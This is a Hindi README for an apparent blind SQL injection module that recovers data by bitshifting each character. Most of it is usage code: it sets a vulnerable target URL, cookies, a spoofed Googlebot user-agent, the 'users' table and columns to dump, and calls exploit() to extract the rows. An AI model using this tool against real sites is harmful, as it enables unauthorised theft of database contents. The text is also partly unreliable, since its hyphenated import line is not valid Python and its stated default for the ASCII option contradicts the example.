
एक ब्लाइंड SQL इंजेक्शन मॉड्यूल जो कैरेक्टर्स की गणना के लिए बिटशिफ्टिंग का उपयोग करता है।
यह एक मॉड्यूल है जो ब्लाइंड SQL इंजेक्शन को अंजाम देने के लिए बिटशिफ्टिंग विधि का उपयोग करके वर्णों का अनुमान लगाने के बजाय उनकी गणना करता है। यह कॉन्फ़िगरेशन के आधार पर प्रति वर्ण 7/8 अनुरोध लेता है।
import blind-sql-bitshifting as x
# Edit this dictionary to configure attack vectors
x.options
# Vulnerable link
x.options["target"] = "http://www.example.com/index.php?id=1"
# Specify cookie (optional)
x.options["cookies"] = ""
# Specify a condition for a specific row, e.g. 'uid=1' for admin (optional)
x.options["row_condition"] = ""
# Boolean option for following redirections
x.options["follow_redirections"] = 0
# Specify user-agent
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# Specify table to dump
x.options["table_name"] = "users"
# Specify columns to dump
x.options["columns"] = "id, username"
# String to check for on page after successful statement
x.options["truth_string"] = "<p id='success'>true</p>"
# See below
x.options["assume_only_ascii"] = 1
assume_only_ascii विकल्प मॉड्यूल को मान लेने देता है कि यह जिन वर्णों को डंप कर रहा है वे सभी ASCII हैं। चूंकि ASCII कैरेक्टर सेट केवल 127 तक जाता है, हम पहले बिट को 0 पर सेट कर सकते हैं और इसकी गणना करने की चिंता नहीं करते। यह अनुरोधों में 12.5% की कमी है। स्थानीय रूप से परीक्षण करने पर, इससे गति में औसतन 15% की वृद्धि हुई। बेशक इससे उन वर्णों को डंप करने में समस्या हो सकती है जो ASCII सीमा से बाहर हैं। डिफ़ॉल्ट रूप से, यह 0 पर सेट है।
एक बार कॉन्फ़िगर होने पर:
data = x.exploit()
यह एक 2-आयामी सरणी लौटाता है, जिसमें प्रत्येक उप-सरणी में एक एकल पंक्ति होती है, पहली कॉलम हेडर होती है।
उदाहरण आउटपुट:
[['id', 'username'], ['1', 'user1'], ['2', 'user2'], ['3', 'user3'], ['4', 'user4']]
वैकल्पिक रूप से, आपकी स्क्रिप्ट डेटा को आउटपुट करने के लिए tabulate मॉड्यूल का उपयोग कर सकती है:
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # This specifies to use the first row as the column headers.
tablefmt='psql') # Using the SQL output format. Other formats can be used.
यह आउटपुट देगा:
+------+------------+
| id | username |
|------+------------|
| 1 | user1 |
| 2 | user2 |
| 3 | user3 |
| 4 | user4 |
+------+------------+